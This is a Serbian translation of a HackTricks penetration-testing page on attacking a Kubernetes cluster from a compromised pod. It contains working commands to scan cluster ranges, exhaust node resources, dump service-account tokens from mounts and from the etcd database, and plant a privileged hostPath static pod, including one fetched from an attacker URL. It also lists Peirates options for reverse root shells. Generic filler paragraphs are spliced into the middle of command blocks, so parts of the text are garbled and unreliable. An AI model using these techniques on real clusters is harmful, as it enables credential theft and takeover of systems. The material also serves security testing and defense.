Attacking Kubernetes from inside a Pod

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Izlazak iz kontejnera

Ako imate dovoljno sreće, možda ćete moći da pobegnete iz njega na čvor:

Bekstvo iz kontejnera

Da biste pokušali da pobegnete iz kontejnera, možda ćete prvo morati da dignete privilegije, neke tehnike za to su:

Možete proveriti ove docker bekstva da biste pokušali da pobegnete iz kontejnera koji ste kompromitovali:

Zloupotreba Kubernetes privilegija

Kao što je objašnjeno u delu o enumeraciji kubernetes-a:

pageKubernetes Enumeration

Obično se kontejneri pokreću sa tokenom servisnog naloga unutar njih. Ovaj servisni nalog može imati neke privilegije pridružene koje biste mogli zloupotrebiti da biste se pomerili ka drugim kontejnerima ili čak da pobegnete na čvorove konfigurisane unutar klastera. Pogledajte kako u:

pageAbusing Roles/ClusterRoles in Kubernetes

Zloupotreba Cloud privilegija

Ako se kontejner pokreće unutar oblak okruženja, možda ćete moći da procurete token sa metapodatkovnog endpointa i dignete privilegije koristeći ga.

Pretraga ranjivih mrežnih servisa

Kako ste unutar Kubernetes okruženja, ako ne možete da dignete privilegije zloupotrebom trenutnih privilegija kontejnera i ne možete da pobegnete iz kontejnera, trebalo bi da pretražite potencijalno ranjive servise.

Servisi

Za tu svrhu, možete pokušati da dobijete sve servise Kubernetes okruženja:

kubectl get svc --all-namespaces

Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da bilo koji pod/servis unutar klastera može komunicirati sa drugima. Prostori imena unutar klastera podrazumevano nemaju ograničenja mrežne sigurnosti. Bilo ko u prostoru imena može komunicirati sa drugim prostorima imena.

Skeniranje

Sledeći Bash skript (preuzet sa Kubernetes radionice) će instalirati i skenirati IP opsege kubernetes klastera:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Pogledajte sledeću stranicu da biste saznali kako biste mogli napasti specifične usluge Kubernetes-a da biste ugrozili druge podove/ceo okruženje:

pagePentesting Kubernetes Services

Snifovanje

U slučaju da kompromitovani pod pokreće neku osetljivu uslugu gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete pristupnim podacima poslatim iz drugih podova snifovanjem lokalnih komunikacija.

Mrežno falsifikovanje

Podrazumevano, tehnike poput ARP falsifikovanja (i zahvaljujući tome DNS falsifikovanje) funkcionišu u Kubernetes mreži. Zatim, unutar poda, ako imate NET_RAW sposobnost (koja je podrazumevano dostupna), moći ćete da šaljete prilagođene mrežne pakete i izvodite MitM napade putem ARP falsifikovanja na sve podove koji se izvršavaju na istom čvoru. Osim toga, ako zlonamerni pod radi na istom čvoru kao DNS server, moći ćete da izvedete DNS falsifikovanje napad na sve podove u klasteru.

pageKubernetes Network Attacks

Node DoS

Ne postoji specifikacija resursa u manifestima Kubernetes-a i nema primenjenih granica za limite kontejnera. Kao napadač, možemo iskoristiti sve resurse gde se pokreće pod/deployment i iscrpiti druge resurse i izazvati DoS za okruženje.

Ovo se može uraditi pomoću alata poput stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Možete primetiti razliku dok se izvršava stress-ng i nakon toga

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-eksploatacija čvora

Ako ste uspeli da pobegnete iz kontejnera, pronaći ćete neke zanimljive stvari u čvoru:

  • Proces Container Runtime (Docker)

  • Više pods/kontejnera koji se izvršavaju u čvoru koje možete zloupotrebiti poput ovog (više tokena)

  • Ceo fajl sistem i OS uopšteno

  • Servis Kube-Proxy koji osluškuje

  • Servis Kubelet koji osluškuje. Proverite konfiguracione fajlove:

    • Direktorijum: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Ostali uobičajeni fajlovi kubernetesa:

    • $HOME/.kube/config - Korisnička konfiguracija

    • /etc/kubernetes/kubelet.conf - Redovna konfiguracija

    • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap konfiguracija

    • /etc/kubernetes/manifests/etcd.yaml - etcd Konfiguracija

    • /etc/kubernetes/pki - Ključevi Kubernetesa

Pronalaženje kubeconfig fajla čvora

Ako ne možete pronaći kubeconfig fajl u jednom od prethodno navedenih putanja, proverite argument --kubeconfig procesa kubeleta:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Ukradi Tajne

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skripta can-they.sh automatski će dobiti tokene drugih podova i proveriti da li imaju dozvole koje tražite (umesto da sami tražite jedan po jedan):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privilegovani DaemonSetovi

DaemonSet je pod koji će se izvršavati na svim čvorovima klastera. Stoga, ako je DaemonSet konfigurisan sa privilegovanim servisnim nalogom, na SVIM čvorovima moći ćete pronaći token tog privilegovanog servisnog naloga koji biste mogli zloupotrebiti.

Eksploatacija je ista kao u prethodnom odeljku, ali sada ne zavisi od sreće.

Pivoting ka Oblaku

Ako je klaster upravljan uslugom u oblaku, obično će čvor imati drugačiji pristup metapodacima nego Pod. Stoga, pokušajte pristupiti metapodacima sa čvora (ili iz poda sa hostNetwork na True):

pageKubernetes Pivoting to Clouds

Ukradi etcd

Ako možete specificirati nodeName čvora koji će pokrenuti kontejner, dobijte shell unutar čvora kontrolne ravni i preuzmite etcd bazu podataka:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane čvorovi imaju ulogu master i u upravljanim cloud klasterima nećete moći pokrenuti ništa na njima.

Čitanje tajni iz etcd

Ako možete pokrenuti svoj pod na control-plane čvoru koristeći selektor nodeName u specifikaciji poda, možda ćete imati jednostavan pristup etcd bazi podataka, koja sadrži sve konfiguracije klastera, uključujući sve tajne.

Ispod je brz i prljav način za dobijanje tajni iz etcd ako se pokreće na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje pokreće pod sa etcd klijentskim alatom etcdctl i koristi akreditive control-plane čvora za povezivanje sa etcd gde god se pokreće, pogledajte ovaj primer manifesta od @mauilion.

Proverite da li se etcd pokreće na control-plane čvoru i vidite gde se baza podataka nalazi (Ovo je na kubeadm kreiranom klasteru)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Napad na Kubernetes iznutra kontejnera

Kada ste jednom unutar kontejnera u Kubernetes klasteru, postoji nekoliko tehnika koje možete koristiti da istražite i potencijalno napadnete sam klaster.

### 1. Pristup API serveru

Kontejneri u istom klasteru mogu komunicirati sa API serverom bez potrebe za autentikacijom. Možete iskoristiti ovo da pristupite API serveru i izvršite različite akcije.

### 2. Korišćenje servisnog naloga

Ako kontejner ima privilegije da pristupi servisnom nalogu u klasteru, možete iskoristiti ovo da pristupite drugim resursima u klasteru.

### 3. Istraživanje drugih kontejnera

Možete istraživati druge kontejnere u istom klasteru kako biste pronašli potencijalne ranjivosti ili informacije koje vam mogu pomoći u napadu.

### 4. Korišćenje alata za ispitivanje

Možete koristiti alate poput `kubectl` ili `kubelet` da istražite klaster, pristupite resursima i izvršite komande unutar klastera.

### 5. Istraživanje konfiguracija

Proučavanjem konfiguracija kontejnera i drugih resursa u klasteru možete pronaći slabosti ili propuste u konfiguraciji koje možete iskoristiti za napad.

Budite oprezni prilikom izvođenja ovih tehnika, jer neovlašćeni pristup i manipulacija resursima u Kubernetes klasteru može imati ozbiljne posledice.
data-dir=/var/lib/etcd

Pregledajte podatke u etcd bazi podataka:

strings /var/lib/etcd/member/snap/db | less

Izvucite tokene iz baze podataka i prikažite ime servisnog naloga

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Ista komanda, ali sa dodatim grep-ovima kako bi se vratili samo podaci o podrazumevanom token-u u kube-system namespace-u

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Napad na Kubernetes iznutra kontejnera

Kada ste jednom unutar kontejnera u Kubernetes klasteru, postoji nekoliko tehnika koje možete koristiti da proširite svoj pristup i istražite klaster dalje.

### 1. Korišćenje API servera

Možete pokušati da pristupite API serveru klastera iznutra kontejnera. To može biti postignuto korišćenjem alata kao što su `curl` ili `kubectl` unutar kontejnera.

### 2. Korišćenje servisnog naloga

Ako kontejner ima privilegovan servisni nalog, možete iskoristiti ovu privilegiju da pristupite drugim delovima klastera ili da izvršavate komande sa većim privilegijama.

### 3. Montiranje fajl sistema

Montiranje fajl sistema iz host mašine u kontejner može vam omogućiti pristup osetljivim fajlovima ili konfiguracionim podacima klastera.

### 4. Korišćenje alata za otkrivanje

Korišćenje alata za otkrivanje ranjivosti može vam pomoći da identifikujete slabosti u konfiguraciji klastera ili da pronađete načine za eskalaciju privilegija.

### 5. Istraživanje mrežne komunikacije

Analiziranje mrežne komunikacije unutar klastera može vam pomoći da identifikujete ranjivosti ili da pronađete načine za presretanje podataka.

Kada ste unutar kontejnera, važno je pažljivo istražiti okolinu i koristiti ove tehnike sa oprezom kako biste izbegli otkrivanje i oštećenje klastera.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statička/Reflektovana Perzistencija Podova

Statički Podovi se upravljaju direktno od strane kubelet demona na određenom čvoru, bez nadgledanja API servera. Za razliku od Podova koji su upravljani od strane kontrolne ravni (na primer, Deployment); umesto toga, kubelet posmatra svaki statički Pod (i ponovo ga pokreće ako ne uspe).

Stoga, statički Podovi su uvek vezani za jedan Kubelet na određenom čvoru.

Kubelet automatski pokušava da kreira reflektovani Pod na Kubernetes API serveru za svaki statički Pod. To znači da su Podovi koji se izvršavaju na čvoru vidljivi na API serveru, ali ih ne možete kontrolisati odatle. Imena Podova će biti sufiksirana sa imenom čvora sa vodećim crticom.

spec statičkog Pod-a ne može se odnositi na druge API objekte (npr. ServiceAccount, ConfigMap, Secret, itd. Dakle, ne možete zloupotrebiti ovu ponašanje da biste pokrenuli pod sa proizvoljnim serviceAccount-om na trenutnom čvoru kako biste ugrozili klaster. Ali to možete koristiti da biste pokrenuli podove u različitim namespace-ovima (ako je to korisno iz nekog razloga).

Ako se nalazite unutar čvora, možete ga naterati da kreira statički pod unutar samog sebe. Ovo je prilično korisno jer vam može omogućiti da kreirate pod u drugom namespace-u poput kube-system.

Da biste kreirali statički pod, dokumentacija je od velike pomoći. U osnovi vam je potrebno 2 stvari:

  • Konfigurišite parametar --pod-manifest-path=/etc/kubernetes/manifests u kubelet servisu, ili u kubelet konfiguraciji (staticPodPath) i restartujte servis

  • Kreirajte definiciju na definiciji poda u /etc/kubernetes/manifests

Još jedan diskretniji način bi bio:

  • Modifikujte parametar staticPodURL iz kubelet konfiguracione datoteke i postavite nešto poput staticPodURL: http://napadac.com:8765/pod.yaml. To će naterati kubelet proces da kreira statički pod dobijajući konfiguraciju sa naznačenog URL-a.

Primer konfiguracije poda za kreiranje privilegovanog poda u kube-system preuzet sa ovde:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Brisanje podova + čvorova koji nisu u mogućnosti da se izvrše

Ako je napadač kompromitovao čvor i može brisati podove sa drugih čvorova i onemogućiti druge čvorove da izvrše podove, podovi će biti ponovo pokrenuti na kompromitovanom čvoru i on će moći ukrasti token koji se izvršava u njima. Za više informacija pratite ove linkove.

Automatski Alati

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated